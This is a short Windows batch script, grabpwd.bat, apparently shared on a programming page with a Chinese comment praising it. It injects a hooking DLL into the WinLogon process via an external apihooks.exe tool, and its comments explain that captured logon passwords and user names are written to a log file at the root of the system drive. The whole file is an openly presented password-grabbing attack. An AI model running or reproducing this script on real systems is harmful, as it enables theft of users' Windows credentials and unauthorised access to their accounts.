grabpwd.bat

window编程,非常的好

@ECHO OFF
REM   WinLogon is one of few protected processes where you can apply hooks via
REM   W2K version but it lasts few seconds/minutes while WNT-2K version
REM   applies hooks immediately.
REM   Again: you have to have "Debug programs" privilege granted.
apihooks.exe -o winlogon.dll winlogon.exe
REM   You will find winlogon.log with texts in the root directory of the drive
REM   where Windows is installed. The record has format: "Password - Name".